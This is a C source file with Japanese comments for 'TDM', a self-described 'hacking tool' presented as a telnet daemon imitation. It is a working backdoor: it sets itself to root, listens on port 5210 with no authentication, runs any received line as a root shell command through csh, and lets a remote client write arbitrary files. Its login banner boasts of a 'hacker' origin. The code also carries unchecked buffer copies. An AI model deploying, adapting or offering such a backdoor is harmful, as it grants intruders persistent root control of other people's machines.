/*==================================================== TDM - Telnet Deamon モドキ Version 0.22 Developped by UNYUN [動作確認] SunOS4.1 Solaris2.4, 2.5, 2.6 IRIX 5.3, 6.2, 6.3 NEWS-OS 4.2R ==================================================== */ #include #include #include #include #include #include #include #include #include #include #include #include #define MAX_CLIENTS 5 /* 最大クライアント数*/ #define TMP_FILE "/tmp/.ush" /* 一時ファイル */ #define PORT_NUM 5210 /* 接続ポート */ #define CATBUF 4000 /* 最大画面バッファ */ /*================================================ portをlistenして、接続を待つ [Input] socket_type : UDP/TCPの選択 port : listenポート番号 listener : listen用ソケット [Output] ソケット ================================================ */ int get_connection(socket_type, port, listener) int socket_type; int port; int *listener; { struct sockaddr_in address; struct sockaddr_in acc; int listening_socket; int connected_socket = -1; int new_process; int reuse_addr = 1; int acclen=sizeof(acc); memset((char *) &address, 0, sizeof(address)); address.sin_family = AF_INET; address.sin_port = htons(port); address.sin_addr.s_addr = htonl(INADDR_ANY); listening_socket = socket(AF_INET, socket_type, 0); if (listening_socket < 0) { perror("socket"); exit(1); } if (listener != NULL) *listener = listening_socket; setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,&reuse_addr,sizeof(reuse_addr)); if (bind(listening_socket,(struct sockaddr *)&address,sizeof(address)) < 0) { perror("bind"); close(listening_socket); exit(1); } if (socket_type == SOCK_STREAM){ listen(listening_socket, MAX_CLIENTS); while(connected_socket < 0){ connected_socket = accept(listening_socket, &acc, &acclen); if (connected_socket < 0){ if (errno != EINTR){ perror("accept"); close(listening_socket); exit(1); }else continue; } new_process=fork(); if (new_process<0){ perror("fork"); close(connected_socket); connected_socket = -1; }else{ if (new_process == 0) { close(listening_socket); if (listener!=NULL) *listener = -1; }else{ close(connected_socket); connected_socket = -1; } } } return connected_socket; }else return listening_socket; } /*================================================ ソケットにデータを出力する [Input] sockfd : ソケット buf : 送信データバッファ count : データ長(byte) [Iutput] 送信バイト数 ================================================ */ int sock_write(sockfd, buf, count) int sockfd; char *buf; size_t count; { size_t bytes_sent = 0; int this_write; while (bytes_sent < count) { do this_write = write(sockfd, buf, count - bytes_sent); while ( (this_write < 0) && (errno == EINTR) ); if (this_write <= 0) return this_write; bytes_sent += this_write; buf += this_write; } return count; } /*================================================ ソケットから文字列を読む [Input] sockfd : ソケット str : 読み込みデータバッファ count : 最大読み込みデータ長(byte) [Output] -1 = ソケットが閉じられた その他:読み込んだ長さ(byte) ================================================ */ int sock_gets(sockfd, str, count) int sockfd; char *str; size_t count; { int bytes_read; int total_count = 0; char *current_position; char last_read = 0; current_position = str; while (last_read != 10) { bytes_read = read(sockfd, &last_read, 1); if (bytes_read <= 0) return -1; if ( (total_count < count) && (last_read != 10) && (last_read !=13) ) { current_position[0] = last_read; current_position++; total_count++; } } if (count > 0) current_position[0] = 0; return total_count; } /*================================================ ソケットに文字列を送る [Input] sockfd : ソケット str : 読み込みデータバッファ [Output] 送信バイト数 ================================================ */ int sock_puts(sockfd, str) int sockfd; char *str; { int sock_write(); char buf[2000]; sprintf(buf,"\r%s",str); return sock_write(sockfd, buf, strlen(buf)); } /*================================================ プログラムエントリ ================================================ */ int main(argc, argv) int argc; char *argv[]; { int get_connection(); int sock_gets(); int sock_puts(); int c,f,i; FILE *fp; int sock; /* 対Client用socket */ int connected = 1; /* 接続監視フラグ */ char buffer[1024]; /* 入力文字列バッファ */ char buf2[CATBUF]; /* 画面テキストバッファ */ char cdir[2000]; /* Current dir */ char cstdir[2000]; /* 初期dir */ static int textmode=0; /* $mktext開始flag */ static int listensock = -1; /* 聴取用socket */ /* chmod 4755 tdm;chown root tdm用 */ setuid(0); setgid(0); sock = get_connection(SOCK_STREAM, PORT_NUM, &listensock); sock_puts(sock,"Last login: Sun Jan 1 00:00:00 from root@hacker.moon\n"); sock_puts(sock,"Unyun Micorosystems Inc. UnyunOS 5.4 Generic January 2010\n"); sock_puts(sock,"You have new hacking tool.\n"); sprintf(buf2,"pwd > %s",TMP_FILE); system(buf2); if ((fp=fopen(TMP_FILE,"r"))==NULL) strcpy(cdir,"/"); else{ fscanf(fp,"%s",cdir); fclose(fp); } strcpy(cstdir,cdir); sprintf(buf2,"%s\n",cdir); sock_puts(sock,buf2); while (connected) { if (textmode==0) sock_puts(sock,"[ush] %"); if ( sock_gets(sock, buffer, 1024) < 0) { connected = 0; }else{ if (strcmp(buffer,"$eof")==0){ textmode=0; if (fp!=NULL) fclose(fp); continue; } if (textmode==1){ if (fp!=NULL){ fwrite(buffer,1,strlen(buffer),fp); putc('\n',fp); } continue; } if (strcmp(buffer,"logout")==0 || strcmp(buffer,"exit")==0 ) break; if (strncmp(buffer,"$mktext",7)==0){ if (strlen(buffer)<9){ sock_puts(sock,"usage : $mktext [filename]\n"); }else{ if ((fp=fopen(buffer+8,"wb"))==NULL) sock_puts(sock,"File write error\n"); else{ textmode=1; continue; } } } if (strcmp(buffer,"cd")==0){ sprintf(cdir,cstdir); sprintf(buf2,"%s\n",cdir); sock_puts(sock,buf2); continue; } if (strncmp(buffer,"cd ",3)==0){ strcpy(buf2,buffer+3); if (buf2[0]=='/'){ strcpy(cdir,buf2); sprintf(buf2,"%s\n",cdir); }else{ strcat(cdir,"/"); strcat(cdir,buf2); sprintf(buf2,"%s\n",cdir); } sock_puts(sock,buf2); continue; } sprintf(buf2,"csh -f -c \"cd %s;%s\" > %s",cdir,buffer,TMP_FILE); system(buf2); if ((fp=fopen(TMP_FILE,"rb"))!=NULL){ for (;;){ if (feof(fp)) break; for (i=0;i<2000;i++){ if (feof(fp)) break; c=getc(fp); if (c=='\n') break; else buf2[i]=c; } buf2[i]=0; strcat(buf2,"\n"); sock_puts(sock,buf2); } fclose(fp); } remove("/tmp/.ush"); } } close(sock); return 0; }